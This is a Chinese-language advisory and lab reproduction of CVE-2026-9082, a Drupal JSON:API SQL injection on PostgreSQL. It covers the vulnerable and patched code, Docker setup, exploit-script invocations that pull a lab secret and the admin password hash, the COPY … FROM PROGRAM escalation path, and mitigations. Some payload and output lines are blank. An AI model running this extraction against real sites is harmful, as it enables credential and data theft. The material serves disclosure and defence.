CVE-2026-9082 — Drupal Core 未经身份验证的 SQL 注入(JSON:API,PostgreSQL 后端)¶
发布于 2026-06-06
正在被积极利用
该漏洞于 2026 年 5 月 22 日(公开披露后两天)被纳入 CISA 已知被利用漏洞目录,请立即修补。
| 字段 | 值 |
|---|---|
| Project | Drupal Core |
| 受影响组件 | core/modules/pgsql/src/EntityQuery/Condition.php(translateCondition()) |
| Severity | CRITICAL |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N(NVD 基础评分 6.5;Drupal 自评风险 20/25,"高度严重") |
| CWE | CWE-89 |
| 受影响版本 | Drupal Core 8.9.0 至 < 10.4.10、< 10.5.10、< 10.6.9、< 11.1.10、< 11.2.12、< 11.3.10(仅 PostgreSQL 后端) |
| 修复版本 | 10.4.10、10.5.10、10.6.9、11.1.10、11.2.12、11.3.10(补丁提交 ea9524d9) |
| 安全公告 | GHSA-ghwc-95x2-682j,Drupal SA-CORE-2026-004 |
1. 漏洞概述¶
Drupal Core 是一个 PHP 内容管理框架。自 Drupal 9 起默认启用的 JSON:API 模块允许匿名客户端通过 URL 过滤参数查询已发布的内容。在以 PostgreSQL 为数据库后端的站点上,Drupal 在为大小写不敏感的 IN 比较构建 SQL 时存在缺陷,未经身份验证的远程攻击者可借此向这些查询注入任意 SQL。攻击者无需账号、会话 Cookie 或 API 令牌,一条精心构造的 HTTP GET 请求即可从数据库中提取数据。
攻击者可读取应用数据库用户有权访问的任意表中的任意行,包括密码哈希、会话令牌和私有内容。若 PostgreSQL 应用用户持有超级用户权限,该注入还可通过 COPY … FROM PROGRAM 升级为远程代码执行。
根本原因¶
core/modules/pgsql/src/EntityQuery/Condition.php 中的 PostgreSQL 专属 Condition 类重写了父类的 translateCondition() 方法,将大小写不敏感的 IN 子句中的字符串比较包装在 LOWER(…) 中。漏洞所在的循环遍历用户提供的关联数组,将数组键不加任何过滤直接用于构建 PDO 具名占位符:
// VULNERABLE (before patch) — core/modules/pgsql/src/EntityQuery/Condition.php
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
$where_id = $where_prefix . $key; // $key is attacker-controlled
$condition['where'] .= 'LOWER(:' . $where_id . '),';
$condition['where_args'][':' . $where_id] = $value;
}
PDO 具名占位符只接受 [a-zA-Z0-9_]。当攻击者提供包含 ) 的键时,PDO 在该字符处停止解析占位符名称,其后的内容作为字面 SQL 直接嵌入查询字符串。Drupal 的 PostgreSQL 驱动使用 PDO 模拟预处理,因此注入的 SQL 在任何参数绑定生效之前就已到达数据库。
JSON:API 会将 URL 过滤参数原样映射为 PHP 数组键。请求参数
会将 MALICIOUS_KEY 保留为 $condition['value'] 内的数组键,随后未经任何修改地流入存在漏洞的循环。
修复方案(补丁提交 ea9524d9,作者 Dave Long,2026 年 5 月 20 日)以相同形式应用于三个受影响的文件:Condition.php、ConditionAggregate.php 以及 pgsql/EntityQuery/Condition.php。在 foreach 之前对数组进行规范化,丢弃所有字符串键并以连续整数索引替代:
// PATCH — applied in all three files before the foreach
if (is_array($condition['value'])) {
$condition['value'] = array_values($condition['value']);
}
修复后 $key 始终为整数(0、1、2……),所构造的占位符名称全为字母数字,无法携带注入的 SQL。
2. 漏洞复现环境¶
复现环境完全运行于 Docker Compose,无需云资源或特殊内核特性。漏洞目标由两个容器组成:Drupal 11.3.9 应用容器(Apache/PHP,JSON:API 已启用)和 PostgreSQL 16 后端。Drupal 监听 127.0.0.1:8888,数据库端口不对宿主机暴露。以 control compose 配置文件启动时,可选地运行第三/四个容器对(Drupal 11.3.10,即首个修复版本)供对照比较。
下载完整环境压缩包——env.zip——或浏览单个文件:env/Dockerfile、env/docker-compose.yml、env/config/entrypoint.sh。
启动环境¶
# 构建 Drupal 镜像并启动漏洞栈
docker compose -f env/docker-compose.yml up -d --build
# (可选)同时启动已修复的对照栈
docker compose -f env/docker-compose.yml --profile control up -d --build
env/config/entrypoint.sh 中的入口脚本在每次容器启动时运行,使用 Drush 安装 Drupal,创建仅供服务端使用的 lab_secret 表,并在每次启动时生成两个全新的随机密钥:
- 通过
gen_random_uuid()生成的随机 UUID 派生值(格式LABSECRET-<32 hex>),插入lab_secret.secret。 - 通过
drush user:password为uid=1管理员账号设置的新鲜 bcrypt 密码哈希。
两个密钥均未在镜像构建时硬编码,每次重启都会轮换。
确认环境存在漏洞¶
在进行漏洞利用之前,运行以下冒烟测试,均应通过。
# 1. 漏洞版 Drupal 向匿名客户端提供 JSON:API 文章资源(期望 HTTP 200):
curl -s -o /dev/null -w "drupal http=%{http_code}\n" http://127.0.0.1:8888/jsonapi/node/article
# 2. 种子文章存在(期望标题 "Lab seed article"):
curl -s "http://127.0.0.1:8888/jsonapi/node/article" | grep -o '"title":"[^"]*"' | head -1
# 3. Drupal 版本处于受影响范围(期望 11.3.9):
docker exec cve-2026-9082-drupal grep "const VERSION" /opt/drupal/web/core/lib/Drupal.php
# 4. 新鲜密钥存在于特权位置(期望 LABSECRET-... 字符串):
docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
-c "SELECT secret FROM lab_secret WHERE id=1;"
3. 漏洞利用过程¶
下载完整漏洞利用压缩包——exploit.zip——或浏览单个文件:exploit/run.sh、exploit/extract.py。
漏洞利用脚本仅需 Python 3 标准库,无需第三方包。
注入机制¶
PoC 构造了一个 JSON:API 过滤请求,将攻击者控制的数组键作为 value 参数的一部分传入。该键被设计为突破 translateCondition() 中 LOWER(:placeholder) 表达式的边界,并注入一个布尔谓词:
以种子文章标题作为 value[0],生成的 WHERE 子句为:
IN 子句由种子文章标题满足,当 <PRED> 为真时整个 WHERE 条件为真。这将 JSON:API 的响应变为布尔预言机:响应中 data 数组包含一个条目则谓词为真,为空则谓词为假。
extract.py 对该预言机二分搜索任意 SQL 标量表达式中每个字符的 ASCII 值,逐字符恢复完整字符串。
利用步骤¶
步骤 1. 通过特权数据库通道读取真实密钥值(这与漏洞利用相互独立——验证者用它来确认结果):
docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
-c "SELECT secret FROM lab_secret WHERE id=1;"
步骤 2. 针对漏洞版 Drupal 实例运行漏洞利用脚本:
bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
"SELECT secret FROM lab_secret WHERE id=1"
脚本接受三个参数:Drupal 实例的基础 URL、一篇已发布文章的标题(用于锚定布尔预言机),以及待提取结果的任意标量 SQL 表达式。
步骤 3. 在漏洞版本上,extract.py 将逐字符恢复进度写入标准错误,完成后向标准输出打印一行带标签的结果:
步骤 4. 将恢复的值与步骤 1 中读取的真实值进行精确比对。
证明利用成功的依据¶
验证依赖于独立于漏洞利用过程本身的观测结果。验证者通过已认证的数据库直连会话从 PostgreSQL 容器读取当前真实密钥,该通道与漏洞利用脚本完全隔离(extract.py 仅通过 urllib.request.urlopen 访问公开的 Drupal HTTP 端点)。密钥在每次容器启动时重新生成,漏洞利用脚本无法提前获知,也无法从其他来源取得。
在本次已验证的运行记录中,特权通道返回:
漏洞利用脚本的标准输出返回:
两个值完全匹配(42 字符逐一吻合)。在漏洞利用运行之前,通过两次重启验证了密钥的新鲜性:第一次启动的密钥(LABSECRET-6081b09d35dd4324a61abb5cb482ed38)与第二次启动的密钥(LABSECRET-f5d1383a8e604f12b79ab74324f9c983)不同,排除了静态内置值的可能性。
对运行中容器的源码检查确认漏洞代码路径存在且补丁缺失:
# 确认 $where_id = $where_prefix . $key; 行存在且无 array_values() 防护:
docker exec cve-2026-9082-drupal grep -n "where_id" \
/opt/drupal/web/core/modules/pgsql/src/EntityQuery/Condition.php
提取其他数据¶
sql_expression 参数可接受应用数据库用户有权执行的任意标量 SQL 表达式。下例提取管理员的存储密码哈希:
bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
"SELECT pass FROM users_field_data WHERE uid=1"
清理环境¶
# 移除漏洞栈及其数据卷:
docker compose -f env/docker-compose.yml down -v
# 若同时启动了已修复的对照栈:
docker compose -f env/docker-compose.yml --profile control down -v
4. 安全建议¶
修复措施¶
请立即将 Drupal Core 升级至对应分支的修复版本:
| 分支 | 修复版本 |
|---|---|
| 10.4.x | 10.4.10 |
| 10.5.x | 10.5.10 |
| 10.6.x | 10.6.9 |
| 11.1.x | 11.1.10 |
| 11.2.x | 11.2.12 |
| 11.3.x | 11.3.10 |
对于无法迁移的运营者,Drupal 也为已不受支持的 8.9 和 9.5 分支发布了补丁,具体下载方式请参见官方公告。
修复内容是在三个文件中存在漏洞的 foreach 循环之前添加一行 array_values() 规范化代码,将攻击者控制的字符串键替换为连续整数,确保构造的 PDO 占位符名称始终为字母数字。详见 Drupal 仓库中的补丁提交 ea9524d9。
缓解措施与变通方案¶
如果无法立即升级,可考虑以下临时措施,但均无法完全消除风险:
- 禁用 JSON:API 模块(如不需要)。可移除主要攻击面,但
/user/login端点仍提供备用攻击向量。 - 限制对 JSON:API 的匿名访问:启用只读模式,要求所有过滤查询进行身份验证(Drupal 9.4+ 可用)。
- 使用 WAF 规则拦截查询参数键中包含
)或/*模式的请求。这两种模式是该注入语法的明确特征,但此方法属于启发式检测,并非完整拦截。 - 限制 PostgreSQL 应用用户权限:从 Drupal 数据库用户中撤销
SUPERUSER和CREATEROLE,可阻止通过COPY … FROM PROGRAM升级为远程代码执行的路径。
该漏洞为 PostgreSQL 专属,运行 MySQL、MariaDB 或 SQLite 的站点不受影响。
参考资料¶
- NVD CVE-2026-9082 — CVSS、CWE、受影响版本
- GHSA-ghwc-95x2-682j — GitHub 安全公告
- Drupal SA-CORE-2026-004 — 官方公告:受影响版本、风险评级、修复版本
- 补丁提交 ea9524d9 — 包含
array_values()规范化的三文件差异 - 7h30th3r0n3/CVE-2026-9082-Drupal-PoC — 支持时间盲注和布尔盲注的 Python PoC
- CISA KEV 条目 — 2026 年 5 月 22 日收录,确认存在在野利用
- Tenable 博客 — 技术分析与利用时间线
- YesWeHack 分析 — 根本原因及
translateCondition()代码分析 - Searchlight Cyber 报告 — 代码级分析,含
/user/login攻击向量 - Corgea 研究 — KEV 时间线与修复指南